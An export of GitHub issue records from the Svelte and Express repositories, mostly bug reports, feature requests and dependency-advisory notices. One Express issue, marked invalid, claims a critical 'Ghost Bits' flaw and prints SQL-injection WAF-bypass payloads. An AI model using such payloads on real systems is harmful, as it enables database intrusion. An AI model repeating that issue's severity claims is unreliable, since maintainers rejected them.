  import { SvelteSet } from 'svelte/reactivity';

  let ids = new SvelteSet([1]);
</script>

{#each ids as id (id)}{id}{/each}

<!-- Pressing this will render 2 above -->
<button type=""button"" onclick={() => (ids = new SvelteSet([2]))}>
  Update IDs
</button>
```

2. Breaks. Pressing the button does not render `2`

```svelte
<script lang=""ts"">
  import { SvelteSet } from 'svelte/reactivity';

  // `ids` is updated, but is not declared with `$state(...)`.
  let ids = new SvelteSet([1]);
  const count = $derived(ids.size); // added
</script>

{#each ids as id (id)}{id}{/each}

<button type=""button"" onclick={() => (ids = new SvelteSet([2]))}>
  Update IDs
</button>
```

3. Works, but results in ESLint error:

```svelte
<script lang=""ts"">
  import { SvelteSet } from 'svelte/reactivity';

  // SvelteSet is already reactive, $state wrapping is unnecessary.
  let ids = $state(new SvelteSet([1]));
  const count = $derived(ids.size); // added
</script>

{#each ids as id (id)}{id}{/each}

<button type=""button"" onclick={() => (ids = new SvelteSet([2]))}>
  Update IDs
</button>
```

### Reproduction

https://svelte.dev/playground/31fb8c5a3285467ebbed95ec40ce7d30?version=5.36.6

### Severity

annoyance",,2025-07-17T12:58:09Z,2025-07-17T13:14:14Z,4
sveltejs/svelte,3238523104,Incorrectly triggered `node_invalid_placement` error when `<button>` is first child of `<select>`,"### Describe the bug

According to MDN documentation for styling `<select>` elements ([link](https://developer.mozilla.org/en-US/docs/Learn_web_development/Extensions/Forms/Customizable_select#what_features_comprise_a_customizable_select)), a first-child `<button>` is allowed in modern browsers as a means to style the element, and is progressively enhanced / ignored when unsupported.

However, putting HTML akin to the example in the MDN, where a `<select>` has a single `<button>` as the first child, triggers `node_invalid_placement` compiler error.

### Reproduction

Put the following HTML in any Svelte file:
```
<select>
	<!-- Select button -->
	<button>
		<selectedcontent></selectedcontent>
	</button>
	<option value=""hello"">Hello</option>
</select>
```

### Logs

```shell
[Error [CompileError]: src/lib/Dashboard/sharedComponents/Dropdown.svelte:14:1 `<button>` cannot be a child of `<select>`. `<select>` only allows these children: `<option>`, `<optgroup>`, `<#text>`, `<hr>`, `<script>`, `<template>`. The browser will 'repair' the HTML (by moving, removing, or inserting elements) which breaks Svelte's assumptions about the structure of your components.
https://svelte.dev/e/node_invalid_placement]
```

### System Info

```shell
System:
    OS: macOS 15.5
    CPU: (10) arm64 Apple M1 Pro
    Memory: 10.62 GB / 32.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 20.10.0 - /usr/local/bin/node
    Yarn: 1.22.22 - /usr/local/bin/yarn
    npm: 10.9.2 - /usr/local/bin/npm
    p... [TRUNCATED]",,2025-07-17T07:47:21Z,2025-07-17T08:02:46Z,7
sveltejs/svelte,3238304552,Optimize callbacks inside each block with loop variable names,"### Describe the bug

Buttons B and C have identical callbacks, but the generated JS output differs:

```js
// B
button_1.__click = (e) => {
  const index = Number(e.currentTarget.dataset.index);
  console.log(index);
};
```

```js
// C
var on_click = (e, state) => {
  const i = Number(e.currentTarget.dataset.index);
  $.set(state, $.get(state) + (i + 1));
};
button_2.__click = [on_click];
```

This is because the `index` variable name is reused inside the callback:

```svelte
{#each { length: 1 } as _, index}
  <!-- New callback per-loop -->
  <button type=""button"" onclick={() => console.log(index)}>A</button>

  <!-- New callback per-loop -->
  <button
    type=""button""
    data-index={index}
    onclick={(e) => {
      const index = Number(e.currentTarget.dataset.index)!;
      console.log(index);
    }}>B</button
  >

  <!-- Shared callback between loops -->
  <button
    type=""button""
    data-index={index}
    onclick={(e) => {
      // Variable name has been changed for optimization.
      const i = Number(e.currentTarget.dataset.index)!;
      console.log(i);
    }}>C</button
  >
{/each}
```

If the loop variables (e.g. `index`) are redefined in the first line (e.g. `const index =`), they can be optimized.

(Without renaming `index` to `i` in this case.)

### Reproduction

https://svelte.dev/playground/93ce89c9e31248b3947dc23ae54e5992?version=5.36.5

### Logs

```shell

```

### System Info

```shell
-
```

### Severity

annoyance",,2025-07-17T06:27:19Z,2025-07-17T09:03:55Z,0
sveltejs/svelte,3238234836,input bind doesn't work as expected since 5.36.0,"### Describe the bug

There is a number input where the minimum and maximum values limit the number. When the user enters a number less or greater than the limits, the value will be set to the minimum or maximum value.

It works fine in versions 5.35.6 and earlier.

### Reproduction

It works fine here:
https://svelte.dev/playground/04a9aff17b1b422c86782ac4b30acf0d?version=5.35.6

But it failing here:
https://svelte.dev/playground/04a9aff17b1b422c86782ac4b30acf0d?version=5.36.5

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 15.5
    CPU: (14) arm64 Apple M3 Max
    Memory: 143.45 MB / 36.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.14.0 - ~/.nvm/versions/node/v22.14.0/bin/node
    npm: 10.9.2 - ~/.nvm/versions/node/v22.14.0/bin/npm
    pnpm: 10.6.4 - ~/.nvm/versions/node/v22.14.0/bin/pnpm
  Browsers:
    Chrome: 138.0.7204.157
    Edge: 138.0.3351.83
    Safari: 18.5
  npmPackages:
    svelte: 5.35.6 => 5.35.6
```

### Severity

blocking an upgrade",,2025-07-17T05:57:24Z,2025-07-23T11:55:52Z,4
sveltejs/svelte,3237115098,"Async,  Streaming with Promises & Infinite Loop","### Describe the bug

The console gets spammed by `Tick updated at:` messages. More than it should.

Note that I don't see this issue if I rename `+page.server.ts` to `+page.ts`.

Unclear to me if I'm doing something I shouldn't or if this is a real issue. Please be gentle.

### Reproduction

+page.server.ts
```typescript
export const load = async ({fetch}) => {
  const res = await fetch('https://pokeapi.co/api/v2/pokemon/pikachu');
  return {data: res.json()}
}
```

+page.svelte
```svelte
<script lang=""ts"">

import type {PageProps} from ""./$types"";
import {readable} from ""svelte/store"";
import {invalidateAll} from ""$app/navigation"";

const {data}: PageProps = $props();

const tick = readable(Date.now(), (set) => {
  const id = setInterval(() => set(Date.now()), 1000);
  return () => clearInterval(id);
});

$effect(() => {
  if ($tick) {
    console.log(""Tick updated at:"", $tick);
    invalidateAll();
  }
});

</script>

<main>
  <svelte:boundary>
    <p>{JSON.stringify((await data.data), null, 2)}</p>

    {#snippet pending()}
      <p>loading...</p>
    {/snippet}
  </svelte:boundary>
</main>
```

### Logs

```shell
Tick updated at: 1752693977687 +page.svelte:16:13
Tick updated at: 1752693977687 +page.svelte:16:13
Tick updated at: 1752693977687 +page.svelte:16:13
Tick updated at: 1752693978697 +page.svelte:16:13
Tick updated at: 1752693978697 +page.svelte:16:13
Tick updated at: 1752693978697 +page.svelte:16:13
Tick updated at: 1752693978697 +page.svelte:16:13
Tick updated a... [TRUNCATED]",,2025-07-16T19:32:59Z,2025-07-23T11:55:53Z,3
sveltejs/svelte,3236292950,Add better support for generic types when exporting component as library,"### Describe the problem

I'm trying to export component as library
```svelte
<script lang=""ts"" generics=""ItemType"">
    const props: Props<ItemType> = $props();
...
```

But when I try to import this component, the type `ItemType` becomes `unknown`

The only workaround I found is this:
```svelte
<script lang=""ts"">
    const TypedMyComponent = MyComponent<string>;
    const items = ['a','b']
</script>

<TypedMyComponent items={items} />
```
It look unfriendly in my opinion, is there any better option?
Why svelte cannot infer type the same way as if component is in the same project?

Why there is nothing about exporting with generic types in the [docs](https://svelte.dev/docs/kit/packaging)?

### Describe the proposed solution

It would be great to use the imported component with generics the same way as the local component:
```svelte
<MyComponent items={items} />
```

### Importance

would make my life easier",,2025-07-16T14:53:34Z,2025-07-16T15:34:41Z,1
sveltejs/svelte,3234320971,Async Svelte breaking block effects in template (in SvelteKit?),"**Edit: I have some further findings in a [comment below](https://github.com/sveltejs/svelte/issues/16387#issuecomment-3105868571), please see them for a better picture of the issue**

### Describe the bug

Hi, I'm not sure sure if this is a Svelte or SvelteKit issue because I'm not really sure what's happening. I can move the issue if needed. However as far as I can tell async svelte is not expected to break SvelteKit applications unless using the features specifically called out as breaking (which I'm not).

When enabling the async svelte feature flag I am having an issue where the page component is trying to access state (the page data) after the state has been removed. This only seems to happen to state this is used inside of an `{#each}` block as far as I can tell.

When navigating between pages that reuse the same page component (e.g. changing a slug) there is no error.

The error received in the browser is (see reproduction below):

```
Uncaught TypeError: $$props.data.pikachu is undefined

  in <unknown>
  in +layout.svelte
  in root.svelte
    _page +page.svelte:18
    each_array each.js:151
    update_reaction runtime.js:300
    execute_derived deriveds.js:308
    update_derived deriveds.js:331
    is_dirty runtime.js:219
    traverse_effect_tree_fn batch.js:251
    process_fn batch.js:177
    flush_effects batch.js:338
    flush batch.js:307
    ensure batch.js:415
    ensure batch.js:409
    internal_set sources.js:176
    set sources.js:155
    set legacy-client.... [TRUNCATED]",,2025-07-16T03:31:58Z,2025-08-11T18:41:35Z,12
sveltejs/svelte,3234005827,🐛 Bug Report: `$state(await ...)` causes component hydration failures and breaks parent contexts,"### Describe the bug

🐛 Bug Report: `$state(await ...)` causes component hydration failures and breaks parent contexts

### **Environment**
- **Svelte version**: `https://pkg.pr.new/svelte@15844` (Svelte 5 pre-release)
- **SvelteKit version**: `https://pkg.pr.new/sveltejs/kit/@sveltejs/kit@b921e13`
- **Browser**: [Your browser]
- **OS**: macOS

### **Description**
Using `await` inside `$state()` causes hydration mismatches that break parent component contexts, leading to undefined CSS custom properties in floating UI components and broken component state across navigation.

### Reproduction

### **Steps to Reproduce**

1. Create a layout with a provider context (e.g., sidebar provider with floating UI dropdowns)
2. In a child route, use `$state(await someAsyncFunction())`
3. Navigate to the route - everything works initially
4. Navigate away and back to the route using client-side navigation
5. Parent context components (dropdowns, modals) stop working and show undefined CSS properties

### **Minimal Reproduction**

**Layout (`+layout.svelte`):**
```svelte
<script>
  import * as Sidebar from '$lib/components/ui/sidebar';
  import AppSidebar from '$lib/components/app-sidebar.svelte';
</script>

<Sidebar.Provider>
  <AppSidebar />
  <main>
    {@render children?.()}
  </main>
</Sidebar.Provider>
```

**Page with problematic code (`+page.svelte`):**
```svelte
<script>
  import { someAsyncFunction } from './data.js';
  
  // ❌ This breaks hydration and parent contexts
  let data ... [TRUNCATED]",awaiting submitter,2025-07-15T23:57:07Z,2025-11-17T19:21:43Z,4
expressjs/express,4584825769,Bump qs to 6.15.2 to address CVE GHSA-q8mj-m7cp-5q26,"https://github.com/advisories/GHSA-q8mj-m7cp-5q26

Change here: https://github.com/expressjs/express/blob/dae209ae6559c29cfca2a1f4414c51d89ea643d5/package.json#L55",dependencies,2026-06-04T00:55:44Z,2026-06-14T17:02:36Z,1
expressjs/express,4573380220,SPAM,,,2026-06-02T16:54:07Z,2026-06-02T17:00:16Z,0
expressjs/express,4573379827,SPAM,,,2026-06-02T16:54:04Z,2026-06-02T17:00:24Z,0
expressjs/express,4573379533,SPAM,,,2026-06-02T16:54:01Z,2026-06-02T17:00:40Z,0
expressjs/express,4573377233,SPAM,,,2026-06-02T16:53:47Z,2026-06-02T17:00:32Z,0
expressjs/express,4573370772,SPAM,,,2026-06-02T16:53:00Z,2026-06-02T16:59:49Z,2
expressjs/express,4557290341,Feature suggestion,Hi DEATHLEGION here from Sri Lanka. This is an amazing project! I was wondering if there are plans to add support for TypeScript? Would love to contribute if needed.,typescript,2026-05-31T10:42:05Z,2026-05-31T12:32:51Z,0
expressjs/express,4501913825,How to inject Open Graph/Meta tags for Social Media before the sendFile function?,"In short: can we transform the file to be sent while piping? This for social media 🤷‍♂️ 

Longer version:
I wonder what's the recommendation how to inject HTML meta headers for social media scrapers, before sending the `index.html`, using [sendFile](https://github.com/expressjs/express/blob/master/lib/response.js#L921).

Because, my SPA application, used by thousands of users a week, I load video X with a GET request by ID. That video comes with a title and description. This using Express.js in routes. Once loaded over DB, I want to set the ogDescription meta tag with its description, for example. But how?

Facebook comes with this tool to check:
[developers.facebook.com/tools/debug](https://developers.facebook.com/tools/debug)

It requires a static HTML file. Before, I was using this npm package [react-metatags-hook](https://www.npmjs.com/package/react-metatags-hook) which was a bad idea. Because that Facebook scraper tool requires a plain HTML file.

I know, SSR or SSG would be the ideal solution. But I don't have the time to migrate my app to SSR/SSG right now. That would be a big step and requires a lot more testing and is too risky.

The current code to serve the static index.html for the SPA is:

```ts
  const fileUrl = path.join(getWwwDir(), ""index.html"");

  res.sendFile(fileUrl);
```

This index.html does not come with `og:description` for example because it's content/video based. I want to add it dynamically for bots/scrapers only.

Some ideas
1. Before calling `sen... [TRUNCATED]",question,2026-05-22T10:32:17Z,2026-05-23T21:32:08Z,1
expressjs/express,4484376973,"Bug: Nested API sidebar overlapping menu defaults to ""Properties"" when clicking individual Events/Methods","Expressjs.com website has a fresh new look. Thanks for the great work on that!

There is a bug in the documentation website which can be restated as:  
API sidebar overlapping menu defaults to ""Properties"" when clicking other sub-menu's listed items like individual ""Event"" or ""Method"".

For example, when clicked on Application Event or Application Method, the left overlapping sidebar changes to show Application Properties.

This is like defaulting to displaying the contents of the first openable sub menu item of an API menu item (like Application) when clicked on an item that opens under either 2nd or 3rd openable sub menu item of the API menu item.

<!-- The process for bug fixing is:

- We will first assess if the behavior is different from what should occur
- Confirm the bug is reproducible
- Discuss how to best fix the bug
- Work towards a fix
-->

## Environment information

**Version**: Not Needed (latest website issue)
<!-- 
To find the installed version of a package, you can check the `package.json` file in the root directory of your project. The version will be listed under `dependencies` or `devDependencies`, like this:

```json
""dependencies"": {
  ""express"": ""4.18.2""
}
-->

**Platform**: Windows 11 (64-bit)
<!-- 
UNIX: output of uname -a
Windows: output of ""$([Environment]::OSVersion.VersionString) $(('x86', 'x64')[[Environment]::Is64BitOperatingSystem])"" in PowerShell console 
-->

**Node.js version**: Not Needed (latest website issue)
<!-- 
Output of node -v.
-->... [TRUNCATED]","bug,duplicate",2026-05-20T07:57:41Z,2026-05-20T08:57:57Z,0
expressjs/express,4476463123,Add util to print full paths of routes and methods registered across the application,"
I am asking someone to implement the feature.

I request a feature to print all available routes registered in very easy way to handle. Something like:
registeredRoutes()
And it would return for example an array of routes:
```[{method: 'POST', path: '/api/v1/route1/:param1'},...]```

I've seen many people online build their own solutions to retrieve all available routes, but every version of express changes a bit its structure and it gets harder to do so without very nasty looking tricks. I did mine too, but now I just don't know how to do it.

My current solution allows me to just copy the route and use it in postman, also helps with visibility, as I can just print all routes and see if I can find useful endpoint.

2026-05-19T09:29:45.793Z APP INFO, [App] Registered routes: 5
2026-05-19T09:29:45.794Z APP INFO, [Available Route]      GET /api-docs
2026-05-19T09:29:45.794Z APP INFO, [Available Route]      GET /api-docs.json
2026-05-19T09:29:45.794Z APP INFO, [Available Route]     POST /api/data-integration/service-profile
2026-05-19T09:29:45.794Z APP INFO, [Available Route]      GET /health
2026-05-19T09:29:45.794Z APP INFO, [Available Route]      GET /sandbox/1

Right now I have a function called: showAppRoutes(app);

Its code looks like this:
```
import type { Express } from 'express';
import { logger } from '../infra/logger';
import { appRoutes, apiRoutes } from '../routes';

type RouteInfo = { method: string; path: string };

export const showAppRoutes = (app: Express): v... [TRUNCATED]",duplicate,2026-05-19T10:10:44Z,2026-05-19T10:46:41Z,1
expressjs/express,4408444213,const declaration inside switch case without block in res.send() (no-case-declarations),"                                                                                                                                                                        
  ## Description  

  `res.send()` in `lib/response.js` declares `const type` directly inside a `switch` case clause without wrapping the case body in braces `{}`.                           
   
  Lexical declarations (`const`/`let`) inside a `switch` case without a block are scoped to the **entire** `switch` statement, not just that case. This means `type` is   
  technically accessible (but in the Temporal Dead Zone) from every other `case` branch — which can cause a `ReferenceError` if any other case tries to reference it
  before initialization. This is exactly the pattern the ESLint `no-case-declarations` rule guards against.                                                               
                  
  ## Location

  `lib/response.js`, line 137

  ## Current Code

  ```js
  case 'string':
    encoding = 'utf8';                                                                                                                                                    
    const type = this.get('Content-Type');
                                                                                                                                                                          
    if (typeof type === 'string') {
      this.set('Content-Type', setCharset(type, 'utf-8'));
    } else {                            ... [TRUNCATED]",,2026-05-08T18:13:43Z,2026-05-08T18:45:22Z,1
expressjs/express,4342445468,SECURITY: Ghost Bits Vulnerability - String to byte conversion silently truncates high bits,"# Ghost Bits Vulnerability in Express

## Summary

A critical security vulnerability has been identified in JavaScript's string-to-byte conversion mechanism that affects applications using Express. The vulnerability, dubbed ""Ghost Bits,"" enables attackers to bypass WAF detection and execute SQL injection, path traversal, XSS, and command injection attacks by exploiting high-bit truncation during type conversions from UTF-16 strings to bytes.

## Severity

**Critical** - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8)

## Affected Components

- Express query parameter handling
- Express form data processing
- Express path parameter parsing

## Affected Versions

All versions

## Technical Details

### Vulnerability Mechanism

When JavaScript code converts strings to bytes using `charCodeAt() & 0xFF` or `Buffer.from(..., 'latin1')`, high bits are silently discarded:

```javascript
// Method 1: charCodeAt() & 0xFF
const ch = '\u2F58';  // 爻 (U+2F58) = 0x2F58
const byte = ch.charCodeAt(0) & 0xFF;  // Only low 8 bits: 0x58 = 'X'

// Method 2: Buffer.from(..., 'latin1')
const str = '爻';
const buffer = Buffer.from(str, 'latin1');  // [0x58], truncation!
```

**Critical Finding**: JavaScript has no compiler, so there are no warnings for these dangerous conversions. This makes the vulnerability **extremely easy to exploit**.

### Attack Example

**SQL Injection Bypass**:

```javascript
// Original payload: ' OR '1'='1
// Ghost Bits payload: ħ OR ħ1ħ=ħ1

// WAF sees: ""ħ OR ħ1ħ=ħ1"" (... [TRUNCATED]",invalid,2026-04-28T10:37:14Z,2026-04-28T11:55:19Z,1
expressjs/express,4313886490,Looking for RJSF (React JSON Schema Form) alternative in Express (EJS / server-side),"Hi everyone,

I’m working on an Express.js application (with EJS templates) and I have a requirement to build forms dynamically using JSON schema.

I’m aware of react-jsonschema-form (RJSF), but it’s React-based and not suitable for my current setup since I’m not using a frontend framework.

Currently, I’m generating forms manually by looping through a JSON schema in EJS, but I’m looking for a more structured or library-based approach that can:

Generate form UI from JSON schema
Support basic validation
Work with server-side rendering (Express/EJS)
Ideally reduce manual template logic

Is there any library or approach in the Express ecosystem that provides functionality similar to RJSF?

Or is building a custom solution (schema + EJS + validation like Ajv) the recommended approach?

Would appreciate any suggestions, best practices, or examples.

Thanks!",,2026-04-23T06:05:48Z,2026-04-23T10:36:02Z,0
expressjs/express,4304981379,CI: consider adding npm dependency caching to setup-node step,"I was exploring the CI workflow as part of my university project on GitHub Actions and noticed that the setup-node step doesn't currently include dependency caching.

The current setup-node step looks like this:

- uses: actions/setup-node@6044e13b5dc448c55e2357c09f80417699197238 # v6.2.0
  with:
    node-version: 'lts/*'

Adding cache: 'npm' would allow GitHub Actions to cache node_modules between runs, which can reduce install time on repeated builds:

- uses: actions/setup-node@6044e13b5dc448c55e2357c09f80417699197238 # v6.2.0
  with:
    node-version: 'lts/*'
    cache: 'npm'

I tested this on my own Node.js project and it worked without any other changes needed. I appreciate this may already be a considered decision, so happy to hear if there's a reason it's been left out.",question,2026-04-21T20:00:16Z,2026-05-06T22:56:01Z,2
expressjs/express,4275004791,res.json() throws cryptic TypeError for BigInt values with no actionable message,"When a route handler calls res.json() with an object containing a BigInt value, Express throws a raw, cryptic error from deep inside JSON.stringify() with no hint about which field caused it or how to fix it.

**Steps to reproduce**

```
 app.get('/user', (req, res) => {
    res.json({ id: BigInt(9007199254740991), name: 'Alice' });
  });

  // Server crashes with:
  // TypeError: Do not know how to serialize a BigInt
  //     at JSON.stringify ()
  //     at stringify (.../node_modules/express/lib/response.js:...)
  //     ...
  //
  // No mention of which key caused it. No suggestion for a fix.
```

**Expected behaviour**

A clear, actionable error message that:
  1. Identifies that a BigInt was the cause
  2. Points the developer to the solution (json replacer)

Example of a good error:
```
  ""res.json() cannot serialize BigInt values by default.
   Use app.set('json replacer') with a custom replacer function.
   Example:
     app.set('json replacer', (key, val) =>
       typeof val === 'bigint' ? val.toString() : val
     );""
```


",,2026-04-16T10:28:13Z,2026-04-16T18:41:06Z,2
expressjs/express,4262651060,Single item array query parameter not correctly parsed in Azure App Services in 5.2.1,"When we deploy our app on Azure App Services, a single query parameter is not parsed when using the `?param[]=value` notation. Express will show this as a query param with the name `param[]` and the value `value`, while locally we get the correct behaviour: `param` and value `[value]
`
## Environment information

**Version**: 5.2.1

**Platform**: Linux Azure App Services

**Node.js version**: 24

**Any other relevant information**: Issue only occurs when running on Azure App Services. When running locally, it works as expected

**This issue started for us after upgrading to the 5.2.1 version.** We had no issues when running the 4.18.x version

## What steps will reproduce the bug?

Add a debug endpoint, e.g.;
```Typescript
router.get(""/debug/query"", (req: Request, res: Response) => {
	const rawQueryString = req.originalUrl.split(""?"")[1] ?? """";

	return res.json({
		parsedQuery: req.query,
		rawQuery: {
			queryString: rawQueryString,
		},
	});
});
```

Send a request with the query format `?param[]=value`.
",bug,2026-04-14T14:14:56Z,2026-04-14T22:45:37Z,0
expressjs/express,4185287636,req.query will produce object instead of array when it contains more than 20 values in v4.22.X,"<!-- The process for bug fixing is:

- We will first assess if the behavior is different from what should occur
- Confirm the bug is reproducible
- Discuss how to best fix the bug
- Work towards a fix
-->

## Environment information

**Version**: 4.22.1 / 4.22.X
<!-- 
To find the installed version of a package, you can check the `package.json` file in the root directory of your project. The version will be listed under `dependencies` or `devDependencies`, like this:

```json
""dependencies"": {
  ""express"": ""4.18.2""
}
-->

**Platform**: MacOS / Linux
<!-- 
UNIX: output of uname -a
Windows: output of ""$([Environment]::OSVersion.VersionString) $(('x86', 'x64')[[Environment]::Is64BitOperatingSystem])"" in PowerShell console 
-->

**Node.js version**: 24.14.1
<!-- 
Output of node -v.
-->

**Any other relevant information**:

## What steps will reproduce the bug?

Consider following API query:

`GET /reports/download?tenancyIds=35&tenancyIds=28&tenancyIds=149&tenancyIds=157&tenancyIds=158&tenancyIds=159&tenancyIds=161&tenancyIds=160&tenancyIds=162&tenancyIds=163&tenancyIds=164&tenancyIds=165&tenancyIds=166&tenancyIds=167&tenancyIds=7&tenancyIds=196&tenancyIds=195&tenancyIds=198&tenancyIds=70&tenancyIds=6` 

Prior to version 4.22.X, when calling with query regardless of numbers, `req.query.tenancyIds` will always produce as array:
```
[
  '35',  '28',  '149', '157',
  '158', '159', '161', '160',
  '162', '163', '164', '165',
  '166', '167', '7',   '196',
   '195', '198', '70',  '6'
] ... [TRUNCATED]","bug,4.x,5.x",2026-04-01T08:55:11Z,2026-05-11T18:55:08Z,3
expressjs/express,4177237150,Vulnerable dependency version that is 12 years old: path-to-regexp,"<!-- The process for bug fixing is:

- We will first assess if the behavior is different from what should occur
- Confirm the bug is reproducible
- Discuss how to best fix the bug
- Work towards a fix
-->

## Environment information

**Version**:
4.22.1
<!-- 
To find the installed version of a package, you can check the `package.json` file in the root directory of your project. The version will be listed under `dependencies` or `devDependencies`, like this:

```json
""dependencies"": {
  ""express"": ""4.18.2""
}
-->

**Platform**:
all platforms

**Node.js version**:
<!-- 
Output of node -v.
-->
22.x (irrelevant)

**Any other relevant information**:
https://security.snyk.io/package/npm/path-to-regexp
https://www.npmjs.com/package/path-to-regexp?activeTab=versions

## What steps will reproduce the bug?
running npm audit
","4.x,question,awaiting more info",2026-03-31T08:43:23Z,2026-04-01T23:37:23Z,3
expressjs/express,4080813970,[Test],Test,invalid,2026-03-16T07:48:23Z,2026-03-16T07:49:27Z,0
expressjs/express,4080813240,[Test] issue creation,Test,invalid,2026-03-16T07:48:14Z,2026-03-16T07:49:19Z,0
expressjs/express,4006156498,Built-in /docs endpoint similar to FastAPI for automatic API documentation,"## Feature Request

It would be extremely helpful if Express provided a built-in `/docs` endpoint (similar to FastAPI) that automatically generates interactive API documentation.

## Motivation

Frameworks like FastAPI provide automatic OpenAPI/Swagger documentation at `/docs` by default. This significantly improves:

- Developer experience
- Faster API testing
- Quick onboarding for contributors
- Reduced dependency on external tools like Postman for small APIs

Currently in Express, developers need to manually integrate third-party packages such as:
- swagger-ui-express
- swagger-jsdoc
- Redoc

While these solutions work well, having an optional built-in documentation middleware would make Express even more developer-friendly, especially for small projects, prototypes, and teaching environments.

## Proposed Solution

Provide an optional built-in middleware that:

- Auto-detects registered routes
- Generates OpenAPI schema automatically
- Serves interactive documentation at `/docs`
- Can be enabled with something like:

```js
app.enableDocs();",duplicate,2026-03-01T03:49:20Z,2026-03-01T14:17:13Z,2
expressjs/express,3983644281,Some libraries used are more than 12 months old,"some of these libraries are direct and some are transitively used by express and these are more than 12 months old. When we use this in our products these get highlighted as ""outdatedLib"" in blackduck for example . How does express handle libraries that does not have regular updates and still ensure they are secure. Could you please give a comment..

Libs
--
accepts
mime-types
mime-db
negotiator
bytes
content-type
cookie-signature
debug/2.6.9
debug/3.1.0
debug/4.4.0
debug/4.4.1
depd
fresh
inherits
on-finished
ee-first
parseurl
qs
object-inspect
range-parser
http-errors
mime
statuses
serve-static
send
encodeurl
type-is
media-typer
","duplicate,question",2026-02-24T13:08:25Z,2026-02-24T13:19:35Z,1
expressjs/express,3908195438,Report: publish security analysis findings and recommendations,"Phase: Report

Tasks:
- Synthesize mapping, quality, and problems into a concise report
- Post report to main issue as a comment
- Close all phase sub-issues and mark main issue done

Will close this sub-issue when the report is published and other sub-issues closed.",,2026-02-06T19:47:53Z,2026-02-06T20:02:02Z,1
expressjs/express,3908195027,Problems: identify security issues and risky patterns,"Phase: Problems

Tasks:
- From mapping and quality findings, list concrete security problems (misconfigurations, risky APIs, missing docs)
- Prioritize by severity and exploitability
- Create actionable recommendations for maintainers

Will close this sub-issue when problems are documented.",,2026-02-06T19:47:45Z,2026-02-06T19:58:30Z,1
expressjs/express,3908194778,Quality: review security-related files and code,"Phase: Quality

Tasks:
- Locate SECURITY.md or similar docs
- Review core source files for security patterns (req handling, parameter parsing, header handling)
- Search codebase for uses of 'eval', 'new Function', 'child_process', 'crypto' misuse, and unsafe defaults
- Document findings and examples

Will close this sub-issue when analysis is complete.",,2026-02-06T19:47:39Z,2026-02-06T19:55:37Z,1
expressjs/express,3908194370,"Mapping: repository tree, branches, commits","Phase: Mapping

Tasks:
- Retrieve the full repository tree
- List branches
- List recent commits (perPage: 50)
- Attach findings to the main issue as comments

Will close this sub-issue when mapping is complete.",,2026-02-06T19:47:32Z,2026-02-06T19:50:26Z,2
expressjs/express,3908193528,🔍 Security Practices Analysis: expressjs/express,"Initiating an automated security practices analysis for the expressjs/express repository.

Planned phases:
1. Mapping: repository tree, branches, commit history
2. Quality: review security-related files (e.g., SECURITY.md, docs, core code), search for security patterns
3. Problems: identify potential security issues and risky patterns
4. Report: summarize findings and recommendations

Sub-issues will be created for each phase and closed as they complete.",,2026-02-06T19:47:18Z,2026-02-06T20:01:38Z,3
expressjs/express,3895213287,Update body-parser dependency in https://github.com/expressjs/express/tree/4.x/ to `1.20.4`,Currently at `1.20.3` containing malicious `qs` module version,"4.x,deps",2026-02-04T08:02:22Z,2026-02-14T15:14:37Z,5
expressjs/express,3885586469,Developer Tools Integration: Free Online JSON Formatter for Express Developers,"Hi Express team,

I'm developing a free online developer tools platform called [AngriL DevTools](https://www.angril.com:8080) that provides essential tools for Express developers:

- **JSON Formatter/Minifier**: Perfect for formatting API responses and debugging JSON data
- **Base64 Encoder/Decoder**: Useful for handling authentication tokens and encoded data
- **Timestamp Converter**: Helpful for working with date/time data in Express applications
- **API Testing Tool**: Built-in tool for testing REST APIs built with Express

Since many Express developers work with JSON data and APIs daily, these tools could be valuable additions to the developer ecosystem.

The platform is completely free, open to all developers, and designed with modern web development workflows in mind.

I'd love to get feedback from the Express community on what additional tools would be most useful, or explore any potential collaboration opportunities.

Thanks for your amazing work on Express!

Best regards,
AngriL DevTools Team",,2026-02-02T12:08:35Z,2026-02-02T13:40:55Z,0
expressjs/express,3835902103,dependency on @types/express-serve-static-core induced incompatibility,"## Environment information

**Version**:
express 5.2.1
@types/express 5.0.6

**Platform**:
windows 11 x64 and ubuntu 24.04.3

**Node.js version**:
24.13.0

**Any other relevant information**:

## What steps will reproduce the bug?


currently express typing have dependency
""@types/express-serve-static-core"": ""^5.0.0"",

which installs @types/express-serve-static-core 5.1.1, which is incompatible
works up to 5.1.0

so massive same errors like this
```
error TS2345: Argument of type 'string | string[]' is not assignable to parameter of type 'string'.
  Type 'string[]' is not assignable to type 'string'.

80         const id = parseInt(req.params.id);
```
generated

and this makes the documentation on 
https://expressjs.com/en/5x/api.html
useless, in that documentation, same ""req.params.id"" is used

@types/express-serve-static-core should be fixed","question,typescript",2026-01-20T23:33:25Z,2026-01-21T00:14:48Z,1
expressjs/express,3784509203,Vulnerability in express 5.2.1,"On https://osv.dev//vulnerability/MAL-2025-192968 there is a reported security vulnerability in express 5.2.1 (reported on 30.12.2025). We got an according alert from Blackduck in our project, that analyzed our dependencies.

- How this vulnerability can be exploited? Just by installing 5.2.1 on a system?
- Are there other versions than 5.2.1 affected?
- Will there be a fix soon?",question,2026-01-06T09:51:56Z,2026-01-06T10:58:12Z,2
expressjs/express,3783715213,Update transitive dependency qs to >= 6.14.1 to address CVE-2025-15284,"**Issue Description**

Hello Express maintainers 👋,

We are using express@4.21.2, which relies on the qs package for parsing query strings.

Versions of qs prior to 6.14.1 are affected by CVE-2025-15284 / GHSA-6rw7-vpxm-498p, where the configured arrayLimit can be bypassed using bracket notation (a[]=x). This allows unbounded array creation and can lead to denial-of-service via memory exhaustion.

**Affected Dependency Chain**
express@4.21.2
└─ qs (< 6.14.1)

**Impact**
Express applications commonly parse user-controlled query parameters, making this issue externally exploitable in production environments.
Even when arrayLimit is explicitly configured by the application, vulnerable qs versions ignore the limit for bracket notation, allowing a single crafted request to consume excessive memory and impact service availability.

**Suggested Fix**

Update the resolved qs dependency to the patched version:
qs >= 6.14.1

This version enforces arrayLimit consistently for both indexed and bracket notation and fully addresses CVE-2025-15284.

**References**
CVE-2025-15284
GHSA-6rw7-vpxm-498p
[References link](https://github.com/ljharb/qs/security/advisories/GHSA-6rw7-vpxm-498p)",,2026-01-06T04:41:49Z,2026-01-06T06:23:39Z,1
expressjs/express,3776253902,update to `qs@^6.14.1`," 
- Failure issue:
